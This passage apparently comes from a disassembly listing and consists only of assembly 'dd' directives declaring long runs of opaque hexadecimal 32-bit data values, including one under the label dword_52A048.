		dd 0A0867CA5h, 6356BBh,	1788FFE5h, 0D5FA8BF0h, 157F2501h
		dd 46C7A44Ch, 7A872848h, 68374889h, 5134BD09h, 9E719486h
		dd 45B8A200h, 0CE901FFDh, 0B6AF00CDh, 1B692711h, 0A82A6BEBh
		dd 0C70C9071h, 19D46C07h, 2BAE1FA0h, 27A1034Ch,	0A9C03D18h
		dd 0B3604B9Ch, 7091A431h, 0F0F048BBh, 88CAFC50h, 3D02136Fh
		dd 46FAFDDBh, 0B3C09165h, 8149E842h, 0C8A26AD8h, 0EEA8A0DEh
		dd 1F33753h, 791C1550h,	211B4E41h, 0A80440DCh, 2B7BDA6Bh
		dd 2E141092h, 0DC35EEh,	1F4CC2BDh, 0C9198468h, 0B480C6F0h
		dd 0AC9B3DF4h, 0BF76FC03h, 755A52C7h, 0D87D30D9h, 16D7AF49h
		dd 94A384E6h, 3DFB3800h, 0E7509373h, 0DDD4000Ch, 212A99E5h
		dd 90533803h, 5922308h,	0AF2378h, 4DD5D897h, 4201020Ah
		dd 898D9DC3h, 10709E9Bh, 0EEF301BEh, 0DB95B6C1h, 0B25AD056h
		dd 807A7D3Bh, 0A264B9B4h, 79A2203h, 77DE23CEh, 29560A3h
		dd 0D01ABA5h, 56260B70h, 0D6E8277Eh, 395A6462h,	688220AEh
		dd 0CB7A37B3h, 4C0BC061h, 0D20092FCh, 0B9729966h, 17CC811h
		dd 1907B323h, 822A4BBCh, 375B8DB8h, 39CC00Ah, 0DFB70042h
		dd 2D79FAF6h, 2A004382h, 0A15E375Ah, 1E56AF73h,	0ECA57DAh
		dd 0D5C3D9CDh, 0ADC33665h, 5393201Eh, 638A298h,	0E7480151h
		dd 0A8761883h, 0BDAAFC99h, 23087853h, 2DFD007Ah, 0B0BF8287h
		dd 0E46EDF00h, 9E14A921h, 7CF60039h, 1B5DCC22h,	0ACA0B6C0h
		dd 0F0C0B797h, 0CDE75155h, 182C0079h, 1F5CC098h, 32342050h
		dd 8C1F20C2h, 287CD0C0h, 3EB7C62Fh, 0E2603921h,	5B8A8ED8h
		dd 0CDAE28C6h, 0AA070331h, 97270C0Dh, 9A99D9E0h, 0F4D51128h
		dd 68069C00h, 27244C59h, 7FBC0001h, 0ED7B9138h,	0CF036728h
		dd 0BDD2F3B7h, 687BC3h,	0C1D82D6Eh, 234C77BAh, 2A496206h
		dd 7B79AEB2h, 0DA9400B6h, 53B32ECFh, 19322216h,	41DDA154h
		dd 0B1707C0Ch, 67AA1DD9h, 0EB9C7EE6h, 50764C06h, 0D819218h
		dd 40A1024h, 19693503h,	99D58098h, 6D003C76h, 0CE7E86AFh
		dd 0D3F543E9h, 0D4A60018h, 0CD536082h, 0DC51CA00h, 0C494039Ch
		dd 0EE4D01B7h, 81222CA6h, 519180F3h, 0DDAA9A95h, 0BE44055Eh
		dd 81502D0Fh, 0FB41A540h, 147D383Ch, 0A1C03527h, 440043E8h
		dd 4F58DC2Ah, 0B5300C6h, 8C166D41h, 0B834772Ch,	54700540h
		dd 50379B6h, 457C73F8h,	2C762C18h, 40403830h, 0BEEB1C07h
		dd 0C064F2h, 0CFA6C51Ah, 46001499h, 43076208h, 7720F6DDh
		dd 0D8A26158h, 0D4705BC1h, 19126817h, 0A001DC46h, 53152B7Ch
		dd 0A6F789Fh, 80CD336h,	0BE0C023Dh, 487895Ah, 9BAA5143h
		dd 10C880EEh, 6C00945Dh, 2F20D8FCh, 6157014h, 7A08F3A4h
		dd 7B031842h, 5BF1BA30h, 26D3E0B0h, 0C213868h, 64997D80h
		dd 3422A5Ah, 0EEE8E565h, 0D66A4FC1h, 8EAD857h, 9F732180h
		dd 0C1F265D1h, 0C86B1B91h, 35A08F56h, 0F9D0C568h, 552AFC00h
		dd 0EA931B19h, 0FAC1DE29h, 0E4957E7Eh, 41923EC8h, 74D34004h
		dd 884C8124h, 9B4CF0E8h, 0E4D02118h, 0A1564948h, 631302C4h
		dd 2F9362F0h, 86CA4206h, 4D08E894h, 760050A8h, 0F629623Bh
		dd 50609C51h, 8D254BA9h, 78581CA7h, 808C24D8h, 23363DC2h
		dd 5F00757Fh, 9E92C56Ch, 18F5098Dh, 0F954632Ah,	0FBE01965h
		dd 46B790C6h, 3898C868h, 0E80FFCC8h, 884CD42Fh,	20C58397h
		dd 0D388F662h, 58D27958h, 1D55A841h, 298AAFDDh,	61987BBEh
		dd 0A05EA7B1h, 0A790CC78h, 89CD08A0h, 7D048C15h, 3B342390h
		dd 7C4C6282h, 0BA19CB3Ah, 622CC110h, 0DE7EC01h,	5AC10C9h
		dd 602DA4C0h, 9A23915Eh, 89F90419h, 80597A60h, 6FB2888h
		dd 1F1898FDh, 40B726F6h, 94B5F21Fh, 0B20316ABh,	706AA968h
		dd 3BA4D0F0h, 8AEE0179h, 2CE05022h, 0EBE9E89Ch,	2EE4D202h
		dd 402154CCh, 53CE92h, 0D36251F1h, 672C30C4h, 0D50F9570h
		dd 60866BF3h, 0DC1E01D4h, 0C0AC0029h, 0E89762EFh, 0D00F6498h
		dd 1F7FFAB1h, 4007E70Eh, 54D2011Eh, 6F8D0014h, 0D750CC4Fh
		dd 0ED01BF97h, 0E7C46BDDh, 29BFD4F9h, 7C001D20h, 0D85EB2E4h
		dd 2A3069h, 0AADE9652h,	0DC5A67D4h, 0B700EDFCh,	0D83E3D53h
		dd 36603Ch, 0BC171226h,	6A643B34h, 1A44F00h, 9FDDF7BDh
		dd 0B266006Ch, 6D398158h, 0F0001A68h, 6167844h,	3E8CBA85h
		dd 10802BF9h, 0B13A591Bh, 1200B9D1h, 0E9D28E4Ah, 1CF2E6h
		dd 2A68C53Eh, 54AE7DB3h, 590AE8E2h, 9852D5F5h, 2022AF00h
		dd 725B739Fh, 9F900E5h,	94D09844h, 0CF00B332h, 31F1269Dh
		dd 0E4730Bh, 22C338DDh,	0D26707B2h, 29C5F50Fh, 8D0880F1h
		dd 0C253A4h, 0A8E92CF0h, 19A6C606h, 4B29BD00h, 2B2518Eh
		dd 0E3373017h, 0DFE75CCEh, 3A002CBAh, 1F55D8A4h, 0E4AC04h
		dd 92AB357Bh, 8D8F13C5h, 0EB091707h, 0AE90A646h, 0DCED93h
		dd 0CA4D5190h, 796A1238h, 805F573Eh, 9D3692F6h,	1C743F54h
		dd 0C04A138Dh, 3ACDF55Eh, 0A6071066h, 0DB7C63A5h, 4407CCE0h
		dd 0C5A0001Dh, 0B0FB4959h, 9A00D485h, 62645DF3h, 1E247D7Ah
		dd 40AABC36h, 0B1520A74h, 0DA00CCB6h, 95854F0Dh, 499613h
		dd 0F354FF40h, 7118DC7h, 86B02000h, 8C6A32DDh, 0AE7C0CB1h
		dd 52F8E938h, 0CB9B9D03h, 8987BB07h, 96F82BBCh,	86AD0B6Bh
		dd 77807D79h, 0FF841091h, 0ABBE2F00h, 25195C8Fh, 9A20003Ah
		dd 6C5183A6h, 1A77D205h, 37D18416h, 68EF4000h, 546412h
		dd 8688D803h, 0D1C71A81h, 0C0E0981Fh, 0AA683743h, 0E1C6802Eh
		dd 0E8AFCF1h, 6D06D3Fh,	8009EEBh, 0D35B4428h, 0F9E0CA00h
		dd 0DB13C31Fh, 0E392012Ch, 3D5D683Fh, 0C616201Ch, 21E030Fh
		dd 6490011Dh, 0E751FFh,	0A39F15E8h, 7729C081h, 59FED500h
		dd 2FAF25E7h, 22640061h, 9A1EC456h, 9D7DEBB6h, 867E0738h
		dd 99C536AEh, 57853F11h, 69F53C00h, 5D1762CFh, 6536821Eh
		dd 0B030963Dh, 43307BF8h, 0CFFB3BEAh, 313D9E00h, 4FC0DF9Bh
		dd 41F807A5h, 0C07F590Ah, 0FCA3CBB9h, 6A101800h, 1EAFBD38h
		dd 595D00A1h, 0FE16CA47h, 7A07462Dh, 95378ECEh,	0C12CA0FEh
		dd 183AAB8Dh, 0E01ADD91h, 92005E16h, 13889408h,	3627A3h
		dd 9942B13Bh, 0FAC1E47h, 2C11FD02h, 407D5FDAh, 0CE7699h
		dd 10B35025h, 999F8B4Ch, 4E00A9FCh, 0D40FF140h,	901A55h
		dd 0D88ECB4Fh, 5763DFD3h, 2918DA03h, 0A0B79E28h, 3305CADh
		dd 0B636E65Dh, 88E88111h, 4746853h, 0E900E779h,	6F702923h
		dd 30506CEBh, 0A9C815DEh, 22008555h, 6EAAEC6h, 600803ABh
		dd 0D2D84830h, 8F307089h, 2FA91049h, 52EB0767h,	2126DA29h
		dd 809AA647h, 0FC9F4E61h, 138510h, 0EFC9A76Ah, 9DEC4B2Ch
		dd 0A414840Eh, 6D112022h, 7C62CDEEh, 8B6A1C68h,	3EBC1EECh
		dd 18A4F400h, 0C4031A87h, 1E5F2400h, 0DCD4CDD2h, 70E0040h
		dd 61AD6C3Ch, 0BA0902FFh, 227E9D9h, 407AF794h, 28125314h
		dd 0B4C48Fh, 0F0F5FA4Ch, 55887760h, 69A0A84Eh, 4F300033h
		dd 2E70996Ch, 0AB00D6DFh, 0C5982653h, 0B051D40Dh, 141E290h
		dd 155AEB99h, 0D547F256h, 0CC9E31FEh, 9B18984Ah, 0B3F8E120h
		dd 0E05F0006h, 0B0CF38A3h, 3B00AC94h, 0CE340D3Ch, 0EEAF96AAh
		dd 1FEE3E35h, 108A8200h, 900B13E6h, 1C96DCF7h, 3926EA00h
		dd 5283BD99h, 0F34E476h
		dd 0AB01E359h, 0E16AC440h, 6914817Bh, 1A7D19Ch,	855D50C5h
		dd 61E06699h, 4FC80276h, 0D852F840h, 9C1F4444h,	0A466FFD2h
		dd 0BD0094A4h, 486EC3F0h, 0EA8204E6h, 805C8E64h, 0DF9723F8h
		dd 0D6E0850Fh, 800ACBF5h, 1A2E1DFAh, 0B2290074h, 4EAAE4B7h
		dd 31075965h, 4B260AB5h, 0F0FBE851h, 0F434C0h, 0CA2A9D6Eh
		dd 252221B7h, 0F1453500h, 72069143h, 9B7FA1h, 58053476h
		dd 79BF9AEEh, 0EABC5013h, 9B6F8400h, 17353DAAh,	0F84374h
		dd 0BAE42DF6h, 0B45059FDh, 2B0A2CECh, 88EEDD99h, 9633ED03h
		dd 1897B052h, 0F06D1346h, 36C0082h, 0CD471167h,	5325B807h
		dd 76809E49h, 0B5AABh, 1977B637h, 0E2DAE978h, 99228F00h
		dd 154313F5h, 0DFBE1D6Ah, 0DE2E5F80h, 0B3C540D1h, 0D60D8D46h
		dd 220029F4h, 0FEFC378Bh, 74E0BC7Bh, 0F5CE00D1h, 100E808Dh
		dd 31F1FCAh, 88404DA6h,	0F621DD62h, 0FBE70038h,	0E906CEB5h
		dd 6C093533h, 0B20FEEh,	579BFA80h, 2FD1DC9h, 0A49DBA2Fh
		dd 0F15235h, 12B85C34h,	0C32853B9h, 0F63CCC5Ah,	28792CC1h
		dd 73345D00h, 0AEACFCh,	2B40754Fh, 0AAC8F2DCh, 2E774300h
		dd 4E10CE35h, 0A8FC0724h, 817BA2CFh, 0E0E62654h, 9801DE5Bh
		dd 61733E14h, 0C840EE43h, 0C67011h, 0B8FD80FBh,	19B1083h
		dd 103F6028h, 0FBC27218h, 0E2D78A1h, 4D7970CEh,	69454482h
		dd 1576EC80h, 85003FCDh, 0E25599AEh, 71FA9A18h,	5A1A009Ch
		dd 0F6F356ECh, 0B501848Ch, 0CE5D7657h, 82D2F9E5h, 606B0C34h
		dd 1939FBEh, 70A3F047h,	2028FDDAh, 720019BCh, 0A2F3FF4Bh
		dd 2EC68BCh, 0E288B846h, 1F42E08Dh, 0AC9AB468h,	158584Dh
		dd 265D21DBh, 27D049D7h, 9A9414CDh, 2F0010D6h, 8074FDB4h
		dd 0BB00F5DBh, 0E5529426h, 0B2CA0Bh, 0D40E14A8h, 56E4621Ah
		dd 3201FCF8h, 0AB262C55h, 0FC31ED0Ah, 775CB60h,	693BD8DBh
		dd 58DD1017h, 280006E3h, 84E9224Bh, 337547h, 59379321h
		dd 0DDCD4314h, 90422B2Ch, 5422A100h, 48CA5Ch, 18B127A6h
		dd 91C3582Fh, 526C9FA0h, 0A092BAFEh, 0EB301175h, 7344C0FCh
		dd 96A0C0CFh, 0E2D6A901h, 2B02B974h, 7CBA1695h,	44F3E0A4h
		dd 29BB6480h, 0DD8821F5h, 11A77011h, 0D912BC0Ch, 25DAB411h
		dd 0AC280494h, 802D48B7h, 0E1594611h, 360020B2h, 0B15F3710h
		dd 71EAF9h, 0F7506DFFh,	862AF1A9h, 0C4C8D3F7h, 0F4007C4Ch
		dd 74FECB42h, 784BC1h, 23614E28h, 0D1B4BDF2h, 0BA9B3900h
		dd 1DE87B59h, 0DEA60068h, 44C7760Ch, 0FE0298D6h, 0E6EDB05Dh
		dd 0E87FC377h, 0E75F91h, 0A5FD6A59h, 83EA8E4h, 0D928CC00h
		dd 0E9FC3942h, 1E76001Ch, 659C9DB0h, 1D009FB3h,	0BD4CC2F8h
		dd 98BC68A4h, 0D090060h, 1690FBABh, 23052D41h, 0E23BDE01h
		dd 0E4350C80h, 3B4057Ch, 404AD4B9h, 0C931A1D0h,	0B001C23h
		dd 9238AAE0h, 18D47C0Ch, 10AF8360h, 0D731A5A2h,	5157F6DCh
		dd 3A5DD8h, 20CDA17Bh, 77E19B4Eh, 3635DF0Ch, 20EA6007h
		dd 6700F366h, 4930BA0Ch, 379421h, 0D2FA844Ah, 0EC01A805h
		dd 0F23D0400h, 0CD68951Dh, 0B0C70397h, 2980B45h, 11C4F3A0h
		dd 0D4900DEAh, 9CBCFC4Fh, 0B2E51403h, 4DA3AB08h, 6B16DAE0h
		dd 83D9BC00h, 0D3033C6Fh, 350700F7h, 0FE46A59Fh, 217A7D9Ah
		dd 4F8B4303h, 0F84525E0h, 0C53854h, 0FCB53C6Bh,	3E1D91D1h
		dd 4AFAD712h, 6E596800h, 0AEF853h, 0B844131Ch, 3EA0E815h
		dd 78F03700h, 0ACA32249h, 0AD45394Ah, 394EB202h, 77D8B47Fh
		dd 0D968400h, 23BC5EA8h, 972D00A4h, 910DC61h, 5300E7EAh
		dd 31A79F19h, 25E97555h, 66D44464h, 14F1400h, 87F213h
		dd 1F83C21Eh, 65ACBCEAh, 27031C78h, 0E820C831h,	4330AF91h
		dd 865B01h, 0CAA9FA87h,	6CE525D3h, 0AF141F0Eh, 7E18E015h
		dd 7F73186h, 4FFD8839h,	5E0C10CDh, 8724F3A9h, 7C07086Bh
		dd 20EF7251h, 7EBF172Eh, 776A01C9h, 0D1CC2FFBh,	59002BCBh
		dd 0A09162DAh, 0FF230076h, 96A4FE1Ch, 24007F9Bh, 88FB9516h
		dd 4D4C3Bh, 9FBAC567h, 0FA469994h, 0D5E83309h, 798800DFh
		dd 1C134C3Fh, 801032AEh, 0D2B1D8C9h, 0F10C467Ch, 36AB50EBh
		dd 2BDE2FEh, 2D8D3116h,	54481103h, 0CF116D0Bh, 0D103C21Dh
		dd 94887FA2h, 9C001179h, 9DBCB999h, 0C1CE2CF5h,	0BF2D139h
		dd 3943C8B4h, 446E6800h, 0FF2B27EFh, 0ADA21621h, 0B5204095h
		dd 6FEC5DFDh, 780084E2h, 133E35D0h, 39B88C1Dh, 0AFA48394h
		dd 0FE6E001Ch, 0CB8871D1h, 80FDFA38h, 7553F011h, 0D5CC66h
		dd 72FE47AEh, 1A447397h, 5459890Fh, 0CB40C3C1h,	222100D8h
		dd 0E80D6070h, 2D0EB5AFh, 20C4ABEEh, 77490CFFh,	78E20072h
		dd 5BD65ECFh, 4A00E6C1h, 9573C3A8h, 0E10466Dh, 0DB44F76Bh
		dd 52F14162h, 543F1840h, 81078A00h, 2DD7B335h, 9AE7164h
		dd 0A6E9CDF9h, 6AD92400h, 0E01D030Fh, 61C0215Bh, 1A8CA9FBh
		dd 9B64011Fh, 0BB10BF97h, 55C0DFE8h, 977697Fh, 6AA79800h
		dd 231C3E66h, 0D67EC0BCh, 88551830h, 0EBA44A26h, 80D50A00h
		dd 0BA19D349h, 0A56D0F1Ch, 2BA08F8Bh, 0BD851D0Eh, 0C37961Ch
		dd 9D003E1Ch, 2EF61B76h, 0A24900A5h, 29E0A3F7h,	6000D978h
		dd 0E45AF8ABh, 12877CD5h, 405BD072h, 3F558834h,	3B7D1798h
		dd 3C128504h, 0CEC0038Ch, 98C08DDFh, 2E330048h,	15348802h
		dd 0B3FE0EA6h, 2C562B07h, 9D2092C9h, 1F65B65Eh,	0D5EB49h
		dd 79F08F1Dh, 8E0005FEh, 62CE99FFh, 76F1DBD6h, 0BF220392h
		dd 0A8411DF7h, 1FA3008Dh, 71C25244h, 0A6E30D00h, 0C66AD68Ah
		dd 0F3D400A5h, 0A2B457B3h, 45000387h, 0E50814D1h, 0E4D696C0h
		dd 81EA47h, 8B78CCF1h, 4B7BC4C9h, 0E9FE5103h, 0BFE095B6h
		dd 0DF0A73D0h, 8EE80106h, 0D8666D45h, 0F72087E4h, 0C4B09916h
		dd 0B03E0146h, 0BE7800D3h, 361AD108h, 6000637Bh, 5D9ED795h
		dd 0CA32CDh, 0BE7FB14Ch, 0EF2E8470h, 7377EC00h,	1FC10810h
		dd 0D3C3292Fh, 314B0070h, 174A9AB8h, 735E200h, 7EEF7FA1h
		dd 19FC00DBh, 0AF672B6Dh, 0AE00278Ah, 683E2A79h, 254C05Ch
		dd 0C8DC2552h, 0A8402B5Dh, 8301896Ah, 827FBA57h, 2087532Dh
		dd 60FC49BBh, 0AC1CA080h, 0E6DE9B12h, 0D089CC00h, 0F3E156h
		dd 0B259AE81h, 20C92829h, 0D377100h, 0CAF1805Bh, 0A2FE00C4h
		dd 419788EFh, 7D07ABC3h, 0DBE3C9DCh, 1682AE70h,	0EE8100A6h
		dd 0FC1BACA9h, 6000084Dh, 0CF266D76h, 3D8E0F9Fh, 57873ABFh
		dd 625A7Dh, 5E16DBB0h, 1E814F00h, 2572C070h, 0E67561h
		dd 37ADE851h, 21B1E76Bh, 86FFC800h, 90BCB4AAh, 0E8A854E0h
		dd 306B07F1h, 906FB72Dh, 7491BAFEh, 0B3421A03h,	0F7DDDCh
		dd 481B6EE8h, 0C59A37AEh, 80842D00h, 1D0FD6F9h,	0C63B0076h
		dd 32BD1888h, 280745AFh, 0ABDFB6BEh, 2BF73460h,	76B500C5h
		dd 898039A6h, 75003ABBh, 8CC4D463h, 0E8E39452h,	744100C3h
		dd 23A4FB6Ch, 765CD814h, 7B007630h, 4397641Bh, 74B3A8Dh
		dd 0D146E43Ch, 1129C2E2h, 39A379C0h, 3707DEF2h,	408DAF1Dh
		dd 548B89h, 35A4844Eh, 7FB8F1h,	0E6702CDEh, 0B3D438D7h
		dd 0DBAF6518h, 3A1BCC68h, 0B889FE21h, 64806145h, 1CF5CAC4h
		dd 65E94E00h, 8A1839AEh, 0D3D4B2AAh, 2DD40519h,	43C440E3h
		dd 4B547AD8h, 7C9B48h, 568D1C02h, 1E649C63h, 40A4A117h
		dd 0D5FDEBF6h, 8598E5D8h, 0C2094779h, 9CA38Eh, 7A6AB484h
		dd 0E3485C38h, 0D51A7B00h, 56CABAE7h, 289F2900h, 9E1EF59Ch
		dd 8AE5005Fh, 416CFEF2h
dword_52A048	dd 122EA092h, 0F50B78EFh, 5A8AF32h, 6090A67Bh, 0F112052h
		dd 50B9FC8Bh, 9C24F022h, 0E0041850h, 6B5BA73Dh,	8092B682h
		dd 0D463B0Ch, 417C396Dh, 0B6BA7F80h, 6B5E6298h,	29790C90h
		dd 0E880BD90h, 0F6001D8Bh, 948A98B1h, 12C7E7C2h, 9F25120h
		dd 5C485224h, 0E00281FDh, 4A2C6448h, 0D0904063h, 0C46E00C9h
		dd 21B3D352h, 0B2037F14h, 3704B7CBh, 0B16A9043h, 28932EC2h
		dd 13A80363h, 78046411h, 0E4D7A668h, 0FE02489h,	0D080322h
		dd 5FC96E3Ah, 0C829288h, 433B4670h, 183808Ch, 9BDD90AFh
		dd 23BB0124h, 0E69A15FBh, 87533019h, 5CCA2A00h,	34358E27h
		dd 0E1AF05A6h, 1DA77A8h, 981D92BDh, 0C2A42083h,	939A6C00h
		dd 0A481048Bh, 143B8BAh, 3D1E6720h, 285E3AB9h, 2DA44044h
		dd 99D8700Fh, 45FD49B6h, 183E02C4h, 0BC50579Ch,	2FEACC07h
		dd 103CB9F2h, 63540002h, 35FCC87Ah, 904B8F4Ah, 3F92CC02h
		dd 0CD025FFEh, 6C40DDADh, 583F6FAFh, 0BF0ABB18h, 7929057Dh
		dd 0CE079E59h, 0F3A0C8C1h, 5C338F54h, 0BD014414h, 0D669F4CBh
		dd 0E6088D2h, 0F9DB808Eh, 0C4CEE62Dh, 0E131E401h, 1F903B03h
		dd 0DC1005C7h, 0C07C5398h, 3F113344h, 28BEBC2Eh, 85F2600h
		dd 0A3228Ah, 0F3A5B71Ch, 2F316E03h, 803F0C00h, 0DEB34B97h
		dd 0A226303Dh, 989D1628h, 0ACEC4F00h, 0E45F0D43h, 0D0030037h
		dd 0B49245C4h, 7F00E30Eh, 8FE9F0A4h, 909DC7h, 9613B995h
		dd 3CF1DAE2h, 5A300260h, 3AECAA6h, 0BB30EC7Ah, 182CB9E6h
		dd 71004090h, 0C299DF5Ch, 0B0701386h, 0EADC8059h, 2A25CC04h
		dd 680E83h, 0BB32E40Eh,	0D8F086h, 399CB741h, 8B79D55Ch
		dd 63008DF0h, 7A09C20Fh, 4D883C8Eh, 285880FAh, 5D968C09h
		dd 0EE05800h, 3D5C7230h, 2DA700F4h, 44ACE43Bh, 43E9008Ch
		dd 79CC20C3h, 0F6002277h, 90467658h, 1C1DD1F7h,	0C0804B2Dh
		dd 0B99FDB42h, 21C0B2F0h, 171FF5A5h, 745A0192h,	790504BBh
		dd 0D6783033h, 0A076877Ah, 0AC2BC22Ch, 22009h, 77522428h
		dd 35E308Ah, 75149610h,	88160C26h, 2B3E4B80h, 1C8CD6h
		dd 0CDF380CCh, 0E842E695h, 0FC87F628h, 68ED1E2Eh, 8DEAA840h
		dd 89690FDFh, 8427523Eh, 76C9203Ch, 7812EFF7h, 58C02046h
		dd 0A5A139h, 5142EC28h,	71C87409h, 853D8200h, 0B17CF290h
		dd 8D1E0029h, 0F6EC1A2Dh, 9B0035D7h, 0A9F76621h, 30968E4h
		dd 2A3F2373h, 979FBCh, 0FE6B90B8h, 3A48FC00h, 0E178AFF5h
		dd 0F09150F6h, 3DDA2E43h, 1F2E0098h, 0EC23453Bh, 0CE2A2800h
		dd 7F86BD04h, 6CA800D9h, 3512A1F7h, 0A2FE6681h,	0F99AC3Ch
		dd 0D6945CE9h, 0E259F004h, 6BA37080h, 310E0014h, 0AC7348BDh
		dd 0C402C5B0h, 0E97AD7A1h, 0E7E2850Ch, 7B167980h, 5FB61DDAh
		dd 0DC890925h, 1429D400h, 0D1786E22h, 0FD943E00h, 0EB193510h
		dd 0FC620027h, 3DC61112h, 0C5E030DBh, 8160A500h, 6CEB9932h
		dd 0C00A002Eh, 0A957F784h, 0C560643Ah, 1CDF6980h, 0AB9630DBh
		dd 0EE61E7B8h, 0EB688800h, 0A9752FE0h, 2D5704A3h, 81A4DB10h
		dd 0F46B45BCh, 71009C29h, 5D9396AEh, 0FEA651Dh,	0A318F340h
		dd 0B3FC0093h, 9BDA9F49h, 691D8C14h, 6A6700FFh,	0D4E5B5FBh
		dd 5080FF3Dh, 0B6C99A24h, 0F4711B18h, 44BBFA00h, 4B85D431h
		dd 3E622C94h, 0DD5D0049h, 0A1C57453h, 0E736C714h, 595500E8h
		dd 69BECF4h, 643F3FA5h,	152E4E8Eh, 4C9174E0h, 8C05492Ah
		dd 3F69FE09h, 0E81F0CC1h, 9330F040h, 5CA8E219h,	0F67CEC6Bh
		dd 649B01D0h, 0AE629E35h, 0D8F421FDh, 5D6078E8h, 0F4DDF5BEh
		dd 5C45E290h, 0AC3DC03Fh, 2EC89800h, 0D795397Fh, 2F890E0Eh
		dd 0C605C05Bh, 8415DBh,	90095746h, 42A76CC0h, 0AF45F48h
		dd 0B0E402BCh, 34588F07h, 8169C3B0h, 7B3F1E2Ah,	0F16BC05h
		dd 725C44C9h, 0A21C9157h, 0C67BC4EEh, 0FFFBA00h, 8DF96ED8h
		dd 217D2453h, 761E0318h, 0F6F8FBF8h, 0A7034674h, 0BABE02AFh
		dd 0CA203A22h, 33801380h, 9B1A5F51h, 5A0AB807h,	0DDF0D741h
		dd 2183F96h, 0B93A5769h, 1048A128h, 8801ED8Dh, 0F667343h
		dd 61E4961Fh, 0F3098C9h, 44EEC27Ch, 8470A680h, 3903B5E2h
		dd 0E942B9BAh, 0EBFF98FDh, 0F880C067h, 9B73C344h, 0F9303B00h
		dd 0BAACE7A7h, 8E6A0086h, 7EE1CDCEh, 6C0353F8h,	0BF8FE820h
		dd 67B0E85Fh, 0C9E297h,	0AC0E3EB3h, 475D60EDh, 0E98B3D03h
		dd 0D0BF161Fh, 5CD89F1Bh, 0D10AA4E7h, 1ECE0ACh,	949A05BDh
		dd 0A60A00FEh, 324E6ECh, 9F901926h, 5CEB84ACh, 0DCB71AC0h
		dd 9ABC5600h, 0AB99F5BEh, 36C07DAh, 0B0E9612Eh,	1A6FE1AEh
		dd 95654A07h, 0F692E02Ch, 0EE070E60h, 0E0A0F910h, 50E89CEAh
		dd 0A324CD0Fh, 0CBB12034h, 0BAE7D3DBh, 37A9018h, 0B0CC1D90h
		dd 2800CE3Bh, 4DE30B65h, 0BB01D3h, 0FA06999Eh, 1975A0F7h
		dd 0C0D22A00h, 64D6CD72h, 55C40BBCh, 1890CED8h,	9A9075A8h
		dd 0BA58BF03h, 940F0732h, 1F06F980h, 0AC9706E0h, 0B037DF3Eh
		dd 308470FDh, 3979D88Bh, 5A2B005Eh, 0B2897308h,	5003564Ch
		dd 9BFBBAD0h, 204DB8F8h, 6C3C058Fh, 0A4E6798Ah,	0A903FB74h
		dd 407ACEA6h, 1F3880F0h, 70451DECh, 319180E0h, 0D66EA13Ah
		dd 688BB71Dh, 59A4813Ah, 9E712D63h, 0CE812881h,	62D10462h
		dd 1846318Ch, 0D06930E2h, 0B20FB903h, 0B1AF28ADh, 0F4A33C49h
		dd 93120B04h, 74008E8Ah, 0D89DE86Fh, 85309FFh, 70201CADh
		dd 0FA12D4BFh, 0FE3D4C3Eh, 550083F2h, 0AEEB5685h, 0B089DA0h
		dd 41073D4h, 257E6780h,	180057A9h, 52A10AA5h, 1E092DCh
		dd 8D775F31h, 0FC78A355h, 58B6688Eh, 4C3C6C00h,	1C5F4Bh
		dd 0A48F361h, 53ABB169h, 4AF91101h, 7975CBEBh, 0E24652C4h
		dd 289F79CFh, 0CF95E0h,	62AB064Dh, 0BC415084h, 86AE5503h
		dd 0E82ED58Ah, 0FCB4570Ch, 9B1039FEh, 97406097h, 0F90802F8h
		dd 0D6170CD0h, 0D8902078h, 0C30D7744h, 0CE4576A0h, 903B90C1h
		dd 4582D11h, 133C205Eh,	1A3CE6FAh, 46E0662h, 2F287F6Dh
		dd 0CA0B9E5h, 0DB587326h, 0AC00E37Dh, 2434E82Eh, 4F9331h
		dd 0FB4AF61Bh, 0E5F2FDE2h, 0F7DB8805h, 7CF49873h, 611980E0h
		dd 3A603D51h, 0E55B6080h, 1A1FE35h, 7A7C7287h, 0EC75BDF7h
		dd 4A1714D0h, 20C81971h, 779072Ch, 47813087h, 0FB7E90C6h
		dd 0A6005093h, 5DBC1ADDh, 559FC20Eh, 1340D067h,	1E35FAh
		dd 8836029Ah, 0C297F3B8h, 0E5DCF518h, 77C685A1h, 0EA3007Eh
		dd 68E76138h, 0A8C3C59Bh, 0CEC4E9h, 18634029h, 0FDB09109h
		dd 5A12E417h, 5900761Fh, 829361C2h, 45E1C0F3h, 172854Eh
		dd 0B9896C06h, 218B30Ah, 588C6397h, 2C80EDA0h, 6E181E50h
		dd 595CBA71h, 803D3C18h, 7F879BA5h, 1829B0B4h, 31F4DBF5h
		dd 0AE00EAB9h, 199B0E4Bh, 0F6E2CCh, 9A93A62Dh, 9269ECA9h
		dd 7B232C0Ah, 398C844Bh, 37099FEh, 5488020Dh, 26987EEDh
		dd 627A0A64h, 0FD1ABC04h, 0C9C12CA9h, 80515ABBh, 0FAD823C2h
		dd 9676FFh, 38981B9Eh, 44A5E60Ch, 21011EEAh, 0E3CE1AECh
		dd 0B310F482h, 58007684h, 38753EF9h, 0FE6C557h,	0DA46AE72h
		dd 0F060B7C0h, 0E3001F98h, 23512B3Bh, 58E50175h, 7300DED3h
		dd 0D5BA9CA5h, 2F0726E8h, 76963443h, 0F1BF9820h, 836500E1h
		dd 0B7796BCCh, 0F900EB48h, 0D761C736h, 0E64607h, 0B63B33D0h
		dd 0B4CA157h, 0E1D27A00h, 0F9995804h, 1F30168Fh, 6E600B7h
		dd 0CEF5A9EDh, 90009478h, 0A350E4D6h, 55FAE8h, 71BB53B5h
		dd 0FB35FF2Ah, 0DD00FEE2h
		dd 6A402FC9h, 3802BE8Bh, 0EC80AD23h, 114ED26Eh,	2801ABA2h
		dd 311595D5h, 16203959h, 3307324h, 0A2D1DC0Fh, 7C90D084h
		dd 0E900D36Bh, 0A63751A9h, 76F6771h, 0F9F73C6h,	78689085h
		dd 0DB0052A4h, 0E62A9480h, 69B647h, 0BC72D342h,	5D0140E5h
		dd 780FD900h, 1B56C693h, 0F42772C9h, 0F4C13C49h, 0B405A487h
		dd 228170ADh, 153EF114h, 884100A2h, 0FFC0982Fh,	253407A0h
		dd 809F40DEh, 573C4F46h, 0D80083E0h, 9695E3B0h,	1DAD87D4h
		dd 409E5EAFh, 0EA6FB440h, 6B071389h, 0B35622CBh, 590443B0h
		dd 0CB006h, 68C49ACAh, 5FD6BF9Dh, 3CF3D503h, 88E90E85h
		dd 6194B1A7h, 0D23850BBh, 27A050DFh, 0CB00A665h, 7E3B20F4h
		dd 1925D77h, 83456971h,	0F0F699ECh, 7D00CADBh, 0D4706EBBh
